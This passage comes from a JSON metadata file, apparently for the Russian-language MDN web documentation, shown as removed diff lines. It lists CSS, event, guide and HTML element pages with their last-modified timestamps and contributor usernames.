"chrisdavidmills", - "YozhEzhi", - "arcady-zherdev" - ] - }, - "Web/CSS/resolved_value": { - "modified": "2019-03-23T22:31:05.724Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/revert": { - "modified": "2020-10-15T22:16:41.898Z", - "contributors": [ - "baradusov" - ] - }, - "Web/CSS/right": { - "modified": "2020-10-15T22:20:51.768Z", - "contributors": [ - "niktariy" - ] - }, - "Web/CSS/ruby-align": { - "modified": "2019-03-23T22:47:24.114Z", - "contributors": [ - "sequen7e" - ] - }, - "Web/CSS/scroll-behavior": { - "modified": "2020-10-15T21:51:32.409Z", - "contributors": [ - "YozhEzhi", - "lollyroll" - ] - }, - "Web/CSS/scroll-snap-type": { - "modified": "2020-10-15T22:30:16.562Z", - "contributors": [ - "HImichun" - ] - }, - "Web/CSS/tab-size": { - "modified": "2020-10-15T22:18:59.542Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/text-align": { - "modified": "2019-03-23T23:09:41.610Z", - "contributors": [ - "wbamberg", - "Guillaume-Heras", - "BychekRU", - "Sebastianz", - "frost-nzcr4", - "Sheppy", - "ldone" - ] - }, - "Web/CSS/text-align-last": { - "modified": "2019-03-23T22:52:15.477Z", - "contributors": [ - "Sebastianz", - "frost-nzcr4" - ] - }, - "Web/CSS/text-decoration-skip": { - "modified": "2019-03-23T22:23:04.981Z", - "contributors": [ - "toptalo", - "VladimirSchneider" - ] - }, - "Web/CSS/text-indent": { - "modified": "2019-08-07T07:32:32.327Z", - "contributors": [ - "lerkot", - "ChristinaKrapivina" - ] - }, - "Web/CSS/text-justify": { - "modified": "2020-10-15T22:19:12.460Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/text-shadow": { - "modified": "2020-10-15T22:22:55.590Z", - "contributors": [ - "sokolovserega1982", - "alexa.poruch", - "exarces" - ] - }, - "Web/CSS/text-size-adjust": { - "modified": "2020-09-22T12:34:08.932Z", - "contributors": [ - "at940266", - "self.mismatch", - "rychagov", - "asaulyak", - "designofhumanity", - "andreww2012" - ] - }, - "Web/CSS/time": { - "modified": "2020-10-15T22:18:30.372Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/top": { - "modified": "2020-01-29T08:01:10.754Z", - "contributors": [ - "Skadelig", - "niktariy", - "J-N-Z" - ] - }, - "Web/CSS/touch-action": { - "modified": "2020-08-29T12:19:44.661Z", - "contributors": [ - "Vasya-Chajko", - "SergeyZubkov" - ] - }, - "Web/CSS/transform": { - "modified": "2020-10-15T22:18:54.959Z", - "contributors": [ - "almaceleste", - "bombinmybag", - "opereverzeva" - ] - }, - "Web/CSS/transform-function": { - "modified": "2019-03-23T22:07:23.491Z", - "contributors": [ - "mfluehr" - ] - }, - "Web/CSS/transform-function/rotate()": { - "modified": "2020-11-19T16:06:20.905Z", - "contributors": [ - "chrisdavidmills", - "almaceleste", - "bad4iz" - ] - }, - "Web/CSS/transform-function/rotate3d()": { - "modified": "2020-11-19T16:07:43.767Z", - "contributors": [ - "chrisdavidmills", - "gorbatova" - ] - }, - "Web/CSS/transform-function/scale3d()": { - "modified": "2020-11-30T10:19:29.644Z", - "contributors": [ - "chrisdavidmills", - "bad4iz" - ] - }, - "Web/CSS/transform-function/skew()": { - "modified": "2020-11-30T10:26:05.313Z", - "contributors": [ - "chrisdavidmills", - "Detrimon", - "brachkoff" - ] - }, - "Web/CSS/transform-style": { - "modified": "2019-03-23T22:48:49.153Z", - "contributors": [ - "fscholz", - "Sebastianz", - "Evgeny81" - ] - }, - "Web/CSS/transition": { - "modified": "2020-10-15T21:49:45.568Z", - "contributors": [ - "Zulcom", - "almaceleste", - "delfin211", - "AlexN" - ] - }, - "Web/CSS/transition-duration": { - "modified": "2020-10-15T22:23:07.292Z", - "contributors": [ - "delfin211" - ] - }, - "Web/CSS/url": { - "modified": "2020-10-15T22:16:56.689Z", - "contributors": [ - "opereverzeva", - "AliaksandrZahorski" - ] - }, - "Web/CSS/url()": { - "modified": "2020-10-15T22:33:29.454Z", - "contributors": [ - "toylievallanur1" - ] - }, - "Web/CSS/used_value": { - "modified": "2019-11-29T01:24:06.046Z", - "contributors": [ - "wKich", - "Tuman" - ] - }, - "Web/CSS/user-select": { - "modified": "2020-10-15T22:22:28.429Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/vertical-align": { - "modified": "2020-10-15T21:32:39.661Z", - "contributors": [ - "KTatyana", - "Sebastianz", - "tyv", - "s1lver", - "ZoRDoK" - ] - }, - "Web/CSS/visibility": { - "modified": "2020-10-15T21:52:17.194Z", - "contributors": [ - "SphinxKnight", - "ekirpichyov", - "smartknyaz", - "alexdeg" - ] - }, - "Web/CSS/white-space": { - "modified": "2020-10-15T21:54:03.036Z", - "contributors": [ - "batyrmastyr", - "nakhodkiin", - "while0pass", - "coshturnina" - ] - }, - "Web/CSS/widows": { - "modified": "2019-03-23T23:04:09.212Z", - "contributors": [ - "Sebastianz", - "frost-nzcr4", - "eb-gh-cr" - ] - }, - "Web/CSS/width": { - "modified": "2020-10-15T22:14:48.558Z", - "contributors": [ - "Kikubaaqudgha" - ] - }, - "Web/CSS/will-change": { - "modified": "2020-10-15T21:34:32.174Z", - "contributors": [ - "YozhEzhi", - "ilovebeatles", - "AlexKalinin", - "nickfree", - "AVorona", - "Petr_Chalov", - "MaxxOut", - "Sebastianz", - "hgen", - "ddtch" - ] - }, - "Web/CSS/word-break": { - "modified": "2020-10-15T22:16:47.649Z", - "contributors": [ - "sergey.bannikov" - ] - }, - "Web/CSS/word-spacing": { - "modified": "2020-10-15T22:19:16.617Z", - "contributors": [ - "zhitkovkostya", - "opereverzeva" - ] - }, - "Web/CSS/writing-mode": { - "modified": "2019-08-07T10:36:11.169Z", - "contributors": [ - "jynweythek", - "bengrey", - "Cttr", - "some_vlad", - "Sebastianz", - "nakhodkiin" - ] - }, - "Web/CSS/z-index": { - "modified": "2020-11-19T03:01:01.279Z", - "contributors": [ - "SphinxKnight", - "akezhan56301", - "Mrakobees", - "torbasow", - "yaruson" - ] - }, - "Web/CSS/Действительное_значение": { - "modified": "2019-03-23T22:31:07.849Z", - "contributors": [ - "warsan", - "BychekRU" - ] - }, - "Web/CSS/Замещаемый_элемент": { - "modified": "2019-03-23T22:31:00.260Z", - "contributors": [ - "SelenIT", - "dima74", - "BychekRU" - ] - }, - "Web/CSS/Псевдо-классы": { - "modified": "2019-03-23T22:51:08.664Z", - "contributors": [ - "IgorPuchkov2003", - "dima74", - "BychekRU", - "olko28" - ] - }, - "Web/CSS/Синтаксис": { - "modified": "2019-07-26T04:52:30.660Z", - "contributors": [ - "munaticu", - "teoli", - "Norville" - ] - }, - "Web/CSS/Способ_расположения": { - "modified": "2019-03-23T23:09:42.012Z", - "contributors": [ - "idoru", - "BychekRU", - "ldone" - ] - }, - "Web/CSS/Тихий": { - "modified": "2019-03-23T22:32:40.563Z", - "contributors": [ - "BychekRU", - "Evgeny166" - ] - }, - "Web/CSS/Указанное_значение": { - "modified": "2019-03-23T22:30:59.718Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/размер": { - "modified": "2020-10-15T21:48:09.200Z", - "contributors": [ - "HImichun", - "sashakrauzer", - "VICIOne", - "favetisov", - "ialexi-bl", - "Fgeniy", - "Zamkevich", - "VladdOs" - ] - }, - "Web/Events": { - "modified": "2020-11-17T03:43:19.041Z", - "contributors": [ - "kosarev_va", - "RuslanPro01", - "ismailaga123", - "injashkin", - "Corba", - "snowydad", - "arthurg91", - "wbamberg", - "LbIdarka", - "Dzhabarovm", - "Kerminator1973", - "kRaVeda", - "teoli" - ] - }, - "Web/Events/DOMContentLoaded": { - "modified": "2019-04-30T14:28:01.901Z", - "contributors": [ - "wbamberg", - "cashm0ney", - "fscholz", - "vittorio-tortugo", - "e-h-h" - ] - }, - "Web/Events/abort": { - "modified": "2019-04-30T14:17:57.211Z", - "contributors": [ - "wbamberg", - "Corba", - "fscholz", - "e-omo" - ] - }, - "Web/Events/blur": { - "modified": "2019-03-23T22:19:52.585Z", - "contributors": [ - "fscholz", - "Pirate505", - "Asyst" - ] - }, - "Web/Events/error": { - "modified": "2019-03-18T20:55:03.206Z", - "contributors": [ - "Corba", - "iGureEV" - ] - }, - "Web/Events/focusin": { - "modified": "2019-03-23T22:30:36.967Z", - "contributors": [ - "fscholz", - "f0rmat1k" - ] - }, - "Web/Events/focusout": { - "modified": "2019-03-18T21:19:40.612Z", - "contributors": [ - "merelj" - ] - }, - "Web/Events/load": { - "modified": "2019-03-23T22:22:49.108Z", - "contributors": [ - "fscholz", - "e-h-h" - ] - }, - "Web/Events/loadstart": { - "modified": "2019-03-23T22:29:55.674Z", - "contributors": [ - "fscholz", - "forestbird" - ] - }, - "Web/Events/readystatechange": { - "modified": "2019-03-18T21:42:00.103Z", - "contributors": [ - "SlavaJan" - ] - }, - "Web/Events/transitionend": { - "modified": "2019-03-23T23:13:05.887Z", - "contributors": [ - "fscholz", - "airspin", - "akhabibullina" - ] - }, - "Web/Events/unhandledrejection": { - "modified": "2019-04-30T13:51:15.952Z", - "contributors": [ - "wbamberg", - "colmer" - ] - }, - "Web/Guide": { - "modified": "2020-09-02T11:11:23.452Z", - "contributors": [ - "bogpok", - "Didar83", - "soctim", - "jwhitlock", - "netpatriciapussy", - "Tihoem", - "galinakulinich@mail.ru", - "Sheppy" - ] - }, - "Web/Guide/AJAX": { - "modified": "2020-03-06T17:23:15.361Z", - "contributors": [ - "bulatDev", - "korjjik87", - "chrisdavidmills", - "Sky_Fox", - "Megapotz", - "Kavkazsk", - "Summit677", - "Kwinto", - "Dionys", - "Woodroof", - "Zhuravlik" - ] - }, - "Web/Guide/AJAX/С_чего_начать": { - "modified": "2019-03-24T00:01:49.926Z", - "contributors": [ - "DanilaH", - "chrisdavidmills", - "Megapotz", - "Apparition", - "Square", - "Kwinto" - ] - }, - "Web/Guide/AJAX/С_чего_начать?": { - "modified": "2019-01-16T16:10:29.921Z", - "contributors": [ - "chrisdavidmills", - "Sheppy", - "Nikol" - ] - }, - "Web/Guide/API": { - "modified": "2019-09-11T09:35:03.457Z", - "contributors": [ - "SphinxKnight", - "BychekRU", - "Sheppy" - ] - }, - "Web/Guide/API/DOM": { - "modified": "2019-09-02T16:41:36.691Z", - "contributors": [ - "NiroWoolf", - "Jeremie" - ] - }, - "Web/Guide/API/DOM/Storage": { - "modified": "2019-03-23T23:13:28.239Z", - "contributors": [ - "Steln", - "akhabibullina" - ] - }, - "Web/Guide/API/WebRTC": { - "modified": "2019-03-23T22:34:55.398Z", - "contributors": [ - "MoksS", - "franzy1709" - ] - }, - "Web/Guide/Audio_and_video_delivery": { - "modified": "2019-05-24T08:49:25.038Z", - "contributors": [ - "IlyaKireev", - "chrisdavidmills" - ] - }, - "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": { - "modified": "2019-03-18T20:51:42.020Z", - "contributors": [ - "chrisdavidmills", - "egorovsa", - "faafaafuu" - ] - }, - "Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges": { - "modified": "2019-03-18T20:51:42.284Z", - "contributors": [ - "chrisdavidmills", - "makcc666", - "BaNru", - "wcoder" - ] - }, - "Web/Guide/Audio_and_video_manipulation": { - "modified": "2020-08-20T10:18:57.056Z", - "contributors": [ - "bogpok" - ] - }, - "Web/Guide/CSS": { - "modified": "2019-09-11T09:43:50.277Z", - "contributors": [ - "SphinxKnight", - "Aleksej", - "vtambourine", - "KrishnaKevalam", - "jswisher" - ] - }, - "Web/Guide/CSS/Block_formatting_context": { - "modified": "2019-10-04T09:05:37.001Z", - "contributors": [ - "Radragon", - "RomanBush", - "NancyT33333", - "SelenIT", - "brolnickij", - "I-O", - "ViT09", - "akhabibullina" - ] - }, - "Web/Guide/CSS/Getting_started": { - "modified": "2019-03-23T23:09:39.395Z", - "contributors": [ - "BychekRU", - "Aleksej", - "frontgirl", - "wjinca" - ] - }, - "Web/Guide/CSS/Getting_started/Cascading_and_inheritance": { - "modified": "2019-03-23T22:51:54.874Z", - "contributors": [ - "Tankerxyz", - "BychekRU", - "F-302", - "sofiaglynyana" - ] - }, - "Web/Guide/CSS/Getting_started/Color": { - "modified": "2019-03-23T22:31:38.617Z", - "contributors": [ - "TuchaNK" - ] - }, - "Web/Guide/CSS/Getting_started/How_CSS_works": { - "modified": "2019-03-18T21:17:13.180Z", - "contributors": [ - "BychekRU", - "F-302" - ] - }, - "Web/Guide/CSS/Getting_started/Readable_CSS": { - "modified": "2019-03-23T22:49:44.377Z", - "contributors": [ - "Svart", - "F-302", - "Crystal" - ] - }, - "Web/Guide/CSS/Getting_started/SVG_и_CSS": { - "modified": "2019-10-07T10:29:32.536Z", - "contributors": [ - "Matcenko", - "AndrewPinkerton", - "maximmonev", - "DadUndead" - ] - }, - "Web/Guide/CSS/Getting_started/Selectors": { - "modified": "2020-02-28T21:44:59.981Z", - "contributors": [ - "nkaskov", - "SergeyNikolaev70", - "1cprog", - "Tankerxyz", - "BigBond", - "mztrp", - "tnt4brain" - ] - }, - "Web/Guide/CSS/Getting_started/Text_styles": { - "modified": "2019-03-23T22:31:35.056Z", - "contributors": [ - "DKas", - "TuchaNK" - ] - }, - "Web/Guide/CSS/Getting_started/What_is_CSS": { - "modified": "2019-10-10T16:46:49.900Z", - "contributors": [ - "gleb-svitelskiy", - "BychekRU", - "Aleksej", - "frontgirl" - ] - }, - "Web/Guide/CSS/Getting_started/Why_use_CSS": { - "modified": "2019-03-23T22:33:27.543Z", - "contributors": [ - "BychekRU", - "F-302" - ] - }, - "Web/Guide/CSS/Getting_started/Таблицы": { - "modified": "2019-03-23T23:09:44.945Z", - "contributors": [ - "BychekRU", - "ldone" - ] - }, - "Web/Guide/CSS/Understanding_z_index": { - "modified": "2020-04-16T00:54:23.175Z", - "contributors": [ - "pelyp47", - "Derept", - "zdravnick", - "DartWelder", - "elenatafeenko", - "Jeremie" - ] - }, - "Web/Guide/CSS/Understanding_z_index/Adding_z-index": { - "modified": "2020-04-16T01:16:28.675Z", - "contributors": [ - "pelyp47" - ] - }, - "Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index": { - "modified": "2020-04-16T01:00:44.047Z", - "contributors": [ - "pelyp47", - "batareechka", - "SphinxKnight" - ] - }, - "Web/Guide/CSS/Using_multi-column_layouts": { - "modified": "2019-07-22T11:08:23.191Z", - "contributors": [ - "a-bodrova", - "sandmanisdancing", - "fscholz", - "ldone" - ] - }, - "Web/Guide/CSS/Visual_formatting_model": { - "modified": "2019-09-20T10:50:10.502Z", - "contributors": [ - "RomanBush", - "SphinxKnight", - "FlightBlaze", - "Chugou9", - "ZapevalovAnton", - "fmva", - "levi2ki", - "kapvik", - "hhharm", - "ViT09" - ] - }, - "Web/Guide/Events": { - "modified": "2020-08-20T10:40:53.452Z", - "contributors": [ - "bogpok", - "Llorephie", - "Tihoem", - "Jeremie" - ] - }, - "Web/Guide/Events/Event_handlers": { - "modified": "2020-03-26T12:45:30.049Z", - "contributors": [ - "ellizii" - ] - }, - "Web/Guide/Events/Media_events": { - "modified": "2019-04-16T19:26:35.650Z", - "contributors": [ - "vamo089", - "TaizoGem", - "undgrnd", - "nechehin" - ] - }, - "Web/Guide/Events/Overview_of_Events_and_Handlers": { - "modified": "2019-06-24T11:18:00.027Z", - "contributors": [ - "kvandreev", - "MuradAz", - "curdwithraisins" - ] - }, - "Web/Guide/Events/Создание_и_вызов_событий": { - "modified": "2020-10-15T21:31:20.093Z", - "contributors": [ - "YozhEzhi", - "leann-fraoigh", - "Solant", - "bagau", - "pk.prog", - "lazyexpert", - "YuryT" - ] - }, - "Web/Guide/HTML/Content_categories": { - "modified": "2019-09-23T08:37:02.214Z", - "contributors": [ - "niktariy", - "Sotik", - "KTatyana", - "Isk1n", - "Angelskih", - "Quaiby", - "chernysh2909", - "alexbaumgertner", - "Aleksej", - "Lambrusco.pro" - ] - }, - "Web/Guide/HTML/Drag_and_drop": { - "modified": "2019-06-20T03:46:49.198Z", - "contributors": [ - "kkxley", - "Akh-rman", - "artalar", - "miramax-88", - "Morjodrom", - "fess16", - "MStark" - ] - }, - "Web/Guide/HTML/Drag_and_drop/Drag_operations": { - "modified": "2020-02-05T06:07:31.464Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/Guide/HTML/Editable_content": { - "modified": "2019-03-18T21:32:40.829Z", - "contributors": [ - "warsan" - ] - }, - "Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document": { - "modified": "2020-10-09T08:16:53.318Z", - "contributors": [ - "matiasrustagte", - "arka_triymfalnaya", - "outdever", - "Wingear", - "evgor80", - "lerniri" - ] - }, - "Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages": { - "modified": "2020-07-16T22:22:33.594Z", - "contributors": [ - "SoMuchEffort", - "optimistic" - ] - }, - "Web/Guide/HTML/Using_data_attributes": { - "modified": "2020-07-16T22:22:37.165Z", - "contributors": [ - "AliaksandrZahorski", - "dima74", - "bad4iz", - "ultrinnan", - "SphinxKnight", - "lerniri", - "ArtiFisher", - "xoyk", - "BaNru" - ] - }, - "Web/Guide/HTML/Формы_в_HTML": { - "modified": "2019-03-23T22:35:16.060Z", - "contributors": [ - "Morjodrom", - "AgRuN1", - "ruslan_g02" - ] - }, - "Web/Guide/Localizations_and_character_encodings": { - "modified": "2020-08-20T10:59:35.053Z", - "contributors": [ - "bogpok" - ] - }, - "Web/Guide/Parsing_and_serializing_XML": { - "modified": "2020-10-11T12:29:17.772Z", - "contributors": [ - "Akhat", - "bogpok" - ] - }, - "Web/Guide/Unicode_Bidrectional_Text_Algorithm": { - "modified": "2020-09-02T08:30:27.156Z", - "contributors": [ - "bogpok" - ] - }, - "Web/Guide/User_input_methods": { - "modified": "2020-09-02T11:05:36.300Z", - "contributors": [ - "bogpok" - ] - }, - "Web/Guide/WOFF": { - "modified": "2020-10-15T22:33:54.379Z", - "contributors": [ - "bogpok" - ] - }, - "Web/Guide/mobile": { - "modified": "2020-02-07T13:05:09.003Z", - "contributors": [ - "McBurns", - "VDyrda" - ] - }, - "Web/Guide/Графика": { - "modified": "2019-03-23T23:24:59.485Z", - "contributors": [ - "theykillimmortal", - "McBurns", - "DinarGataullin", - "emil4", - "Bonerdelli", - "uleming", - "nedimaon" - ] - }, - "Web/Guide/Производительность": { - "modified": "2020-08-20T11:16:04.965Z", - "contributors": [ - "bogpok" - ] - }, - "Web/HTML": { - "modified": "2020-05-09T08:33:52.357Z", - "contributors": [ - "SphinxKnight", - "arslan6226262", - "kss555", - "JCodeg", - "Dozorengel", - "aleshkanet", - "slavikse", - "alikkille", - "NurievMikhail", - "alisakova", - "Filofei", - "MaksimKonoz", - "warsan", - "SnejUgal", - "L18-666B", - "BychekRU", - "Aleksej", - "stephaniehobson", - "sputnik1986", - "sega84", - "Sashka.makarov.86", - "uleming", - "Newser", - "teoli", - "hakster", - "Norville", - "Defolter", - "irmatov", - "Elrow" - ] - }, - "Web/HTML/Applying_color": { - "modified": "2019-03-18T21:45:50.255Z", - "contributors": [ - "ChristinaKrapivina", - "warsan", - "kasperyan" - ] - }, - "Web/HTML/Attributes": { - "modified": "2019-10-29T09:41:46.376Z", - "contributors": [ - "pikeraft", - "chrisdavidmills", - "SedovDP", - "Aleksej", - "ldone" - ] - }, - "Web/HTML/Block-level_elements": { - "modified": "2019-03-23T23:03:37.270Z", - "contributors": [ - "idoru", - "SelenIT", - "Filofei", - "Selenia_6", - "SnejUgal", - "Anton.Yurovskykh", - "bracket", - "alexander-lis", - "Mishman", - "artcygn" - ] - }, - "Web/HTML/CORS_enabled_image": { - "modified": "2020-05-24T11:41:53.618Z", - "contributors": [ - "sve-kai-itmo" - ] - }, - "Web/HTML/CORS_settings_attributes": { - "modified": "2019-03-23T22:26:17.707Z", - "contributors": [ - "HA3IK", - "metserp" - ] - }, - "Web/HTML/Element": { - "modified": "2019-03-24T00:04:23.071Z", - "contributors": [ - "AlimU11", - "BychekRU", - "Tihoem", - "Aleksej", - "teoli", - "Norville", - "irmatov", - "ethertank", - "Softwayer" - ] - }, - "Web/HTML/Element/A": { - "modified": "2020-10-15T21:14:56.082Z", - "contributors": [ - "brussens", - "nikolai-shabalin", - "JCodeg", - "SphinxKnight", - "tonyfresher", - "CuriousLynx", - "alexander_kuranoff", - "SnejUgal", - "Kolotushkin", - "teoli", - "pepyaka", - "Softwayer" - ] - }, - "Web/HTML/Element/Heading_Elements": { - "modified": "2020-10-15T22:03:00.576Z", - "contributors": [ - "ryabv", - "chrisdavidmills", - "chamaraviktoriia4", - "kayablue" - ] - }, - "Web/HTML/Element/Input": { - "modified": "2020-10-15T21:28:48.484Z", - "contributors": [ - "surface74", - "torbasow", - "SedovDP", - "YozhEzhi", - "CS313", - "Stasonuke", - "solncebro", - "mennekis", - "S-le", - "pgpa", - "Lambrusco.pro" - ] - }, - "Web/HTML/Element/Input/button": { - "modified": "2020-10-15T22:29:54.816Z", - "contributors": [ - "Thr0TT1e" - ] - }, - "Web/HTML/Element/Input/color": { - "modified": "2020-12-03T08:52:52.055Z", - "contributors": [ - "rebsys", - "podocenov" - ] - }, - "Web/HTML/Element/Input/date": { - "modified": "2020-12-03T06:52:26.983Z", - "contributors": [ - "AeShevch", - "Virss", - "Detrimon", - "lelikdub", - "ishpartko" - ] - }, - "Web/HTML/Element/Input/datetime": { - "modified": "2019-07-06T19:59:07.845Z", - "contributors": [ - "fuggy", - "Brom95", - "bad4iz" - ] - }, - "Web/HTML/Element/Input/datetime-local": { - "modified": "2019-03-18T21:42:35.150Z", - "contributors": [ - "yanaSelin", - "inquartatech", - "bad4iz" - ] - }, - "Web/HTML/Element/Input/file": { - "modified": "2020-01-28T03:20:25.992Z", - "contributors": [ - "AlexeiBelov", - "danvop", - "oxmap", - "nernerstudios", - "ahtohbi4" - ] - }, - "Web/HTML/Element/Input/image": { - "modified": "2019-03-23T22:16:14.461Z", - "contributors": [ - "Skadelig" - ] - }, - "Web/HTML/Element/Input/number": { - "modified": "2020-10-15T22:14:38.174Z", - "contributors": [ - "Virss", - "S-konoplich", - "lalexx", - "viktoryiakuzmitskaya" - ] - }, - "Web/HTML/Element/Input/password": { - "modified": "2019-03-23T22:04:39.681Z", - "contributors": [ - "Goodzonchik" - ] - }, - "Web/HTML/Element/Input/radio": { - "modified": "2020-09-22T11:17:49.407Z", - "contributors": [ - "bekmuradov", - "Nina_Amatova" - ] - }, - "Web/HTML/Element/Input/range": { - "modified": "2020-12-01T07:31:01.378Z", - "contributors": [ - "k1rilenko", - "h-labushkina", - "opereverzeva" - ] - }, - "Web/HTML/Element/Input/search": { - "modified": "2020-10-15T22:27:41.233Z", - "contributors": [ - "Nichon4" - ] - }, - "Web/HTML/Element/Input/tel": { - "modified": "2020-10-15T22:14:58.253Z", - "contributors": [ - "SixtyNice" - ] - }, - "Web/HTML/Element/abbr": { - "modified": "2020-10-15T21:27:33.577Z", - "contributors": [ - "ekirpichyov", - "niktariy", - "talgautb", - "Aleksej", - "fscholz", - "teoli", - "Norville" - ] - }, - "Web/HTML/Element/acronym": { - "modified": "2019-03-23T23:16:57.617Z", - "contributors": [ - "iliyaZelenko", - "teoli", - "Norville" - ] - }, - "Web/HTML/Element/address": { - "modified": "2020-12-06T19:27:01.913Z", - "contributors": [ - "RoPy73", - "pufflik", - "StepPointer", - "maibatsu", - "kuki", - "talgautb", - "icokie" - ] - }, - "Web/HTML/Element/applet": { - "modified": "2019-03-23T22:06:37.540Z", - "contributors": [ - "mars485" - ] - }, - "Web/HTML/Element/area": { - "modified": "2020-10-15T22:07:14.955Z", - "contributors": [ - "SedovDP", - "A-Ostrovny", - "AnatoliyVolkov" - ] - }, - "Web/HTML/Element/article": { - "modified": "2020-10-15T21:38:30.961Z", - "contributors": [ - "niktariy", - "JCodeg", - "muzimka", - "kuzhelov" - ] - }, - "Web/HTML/Element/aside": { - "modified": "2020-10-15T21:56:35.733Z", - "contributors": [ - "niktariy", - "JCodeg", - "Lapagirl" - ] - }, - "Web/HTML/Element/audio": { - "modified": "2020-10-15T21:52:55.481Z", - "contributors": [ - "JCodeg", - "pavel9609", - "torbasow", - "Neiromaster" - ] - }, - "Web/HTML/Element/b": { - "modified": "2020-11-24T12:28:30.289Z", - "contributors": [ - "PivovarovD", - "zuenko.michail", - "lostmor", - "vocasle" - ] - }, - "Web/HTML/Element/base": { - "modified": "2020-10-09T09:32:50.637Z", - "contributors": [ - "self.mismatch", - "iandr", - "kaifonaft", - "Angelskih", - "coollibins" - ] - }, - "Web/HTML/Element/basefont": { - "modified": "2020-10-15T22:03:44.661Z", - "contributors": [ - "maxim20121776" - ] - }, - "Web/HTML/Element/bdi": { - "modified": "2019-03-23T22:43:01.895Z", - "contributors": [ - "while0pass", - "doojin" - ] - }, - "Web/HTML/Element/bdo": { - "modified": "2020-10-15T22:20:19.239Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/HTML/Element/blockquote": { - "modified": "2019-09-23T08:46:34.079Z", - "contributors": [ - "niktariy", - "ahtohbi4" - ] - }, - "Web/HTML/Element/body": { - "modified": "2020-10-15T21:52:58.521Z", - "contributors": [ - "JCodeg", - "hammurapiya" - ] - }, - "Web/HTML/Element/br": { - "modified": "2020-10-15T21:29:43.024Z", - "contributors": [ - "ekirpichyov", - "MoonW1nd", - "che7ovek", - "tr0ythex", - "my8bit" - ] - }, - "Web/HTML/Element/canvas": { - "modified": "2020-11-18T16:03:33.449Z", - "contributors": [ - "Terro216", - "cosmosblue", - "MuradAz" - ] - }, - "Web/HTML/Element/caption": { - "modified": "2020-10-15T22:01:43.563Z", - "contributors": [ - "Yialo", - "opereverzeva", - "AliaksandrZahorski" - ] - }, - "Web/HTML/Element/cite": { - "modified": "2019-11-05T07:59:05.470Z", - "contributors": [ - "zuenko.michail", - "ahtohbi4", - "s1lver" - ] - }, - "Web/HTML/Element/code": { - "modified": "2020-10-15T22:33:43.235Z", - "contributors": [ - "DarkExodusXX" - ] - }, - "Web/HTML/Element/col": { - "modified": "2020-10-15T21:59:15.926Z", - "contributors": [ - "torbasow", - "Mikhail42" - ] - }, - "Web/HTML/Element/data": { - "modified": "2020-10-15T22:21:25.531Z", - "contributors": [ - "fuggy" - ] - }, - "Web/HTML/Element/datalist": { - "modified": "2020-10-15T22:03:20.376Z", - "contributors": [ - "fuggy", - "fanich37" - ] - }, - "Web/HTML/Element/dd": { - "modified": "2020-10-15T22:20:58.297Z", - "contributors": [ - "fuggy" - ] - }, - "Web/HTML/Element/del": { - "modified": "2020-10-15T22:17:49.658Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/HTML/Element/details": { - "modified": "2019-05-24T07:24:14.817Z", - "contributors": [ - "sh13max", - "Lapagirl" - ] - }, - "Web/HTML/Element/dfn": { - "modified": "2020-10-15T22:18:36.293Z", - "contributors": [ - "Nasridean" - ] - }, - "Web/HTML/Element/dialog": { - "modified": "2020-09-17T04:28:42.324Z", - "contributors": [ - "mm669765", - "CanaryKnight" - ] - }, - "Web/HTML/Element/div": { - "modified": "2020-10-15T22:00:05.108Z", - "contributors": [ - "JCodeg", - "Everloop", - "kayablue", - "vocasle" - ] - }, - "Web/HTML/Element/dl": { - "modified": "2020-10-15T21:47:48.475Z", - "contributors": [ - "LoafWithCream", - "fuggy", - "Grawl", - "ahtohbi4" - ] - }, - "Web/HTML/Element/dt": { - "modified": "2020-10-15T22:17:47.772Z", - "contributors": [ - "fuggy", - "nastarash" - ] - }, - "Web/HTML/Element/element": { - "modified": "2019-03-23T22:16:19.667Z", - "contributors": [ - "SphinxKnight" - ] - }, - "Web/HTML/Element/em": { - "modified": "2020-10-15T22:19:54.841Z", - "contributors": [ - "Nasridean" - ] - }, - "Web/HTML/Element/embed": { - "modified": "2020-10-15T22:17:07.674Z", - "contributors": [ - "lavacki" - ] - }, - "Web/HTML/Element/fieldset": { - "modified": "2020-10-15T22:23:22.905Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/HTML/Element/figcaption": { - "modified": "2020-10-15T22:21:00.972Z", - "contributors": [ - "fuggy" - ] - }, - "Web/HTML/Element/figure": { - "modified": "2020-10-15T21:52:59.593Z", - "contributors": [ - "niktariy", - "fuggy", - "r1c0ch3t" - ] - }, - "Web/HTML/Element/font": { - "modified": "2020-10-15T22:03:15.395Z", - "contributors": [ - "Arboker" - ] - }, - "Web/HTML/Element/footer": { - "modified": "2020-10-15T21:52:59.527Z", - "contributors": [ - "niktariy", - "JCodeg", - "r1c0ch3t" - ] - }, - "Web/HTML/Element/form": { - "modified": "2020-03-01T21:32:44.446Z", - "contributors": [ - "WinterSilence", - "ivanson", - "VitalyKrenel", - "nicothin", - "teoli", - "torbasow", - "ldone", - "irmatov" - ] - }, - "Web/HTML/Element/head": { - "modified": "2020-10-15T22:04:06.256Z", - "contributors": [ - "JCodeg", - "baradusov", - "a-klimantow" - ] - }, - "Web/HTML/Element/header": { - "modified": "2020-10-15T21:51:37.298Z", - "contributors": [ - "niktariy", - "JCodeg", - "timur560", - "AlanSmithey" - ] - }, - "Web/HTML/Element/hgroup": { - "modified": "2020-04-11T15:35:35.260Z", - "contributors": [ - "russaksenov", - "ivandoroshenko", - "artem-palamarchuk96" - ] - }, - "Web/HTML/Element/hr": { - "modified": "2020-10-15T22:31:28.444Z", - "contributors": [ - "Nikrogan" - ] - }, - "Web/HTML/Element/html": { - "modified": "2020-10-15T21:31:50.271Z", - "contributors": [ - "JCodeg", - "PopovDaniil", - "Aleksej", - "karskiy" - ] - }, - "Web/HTML/Element/image": { - "modified": "2019-03-18T20:41:47.756Z", - "contributors": [ - "Dozorengel", - "KishiTako" - ] - }, - "Web/HTML/Element/img": { - "modified": "2020-10-15T21:32:27.907Z", - 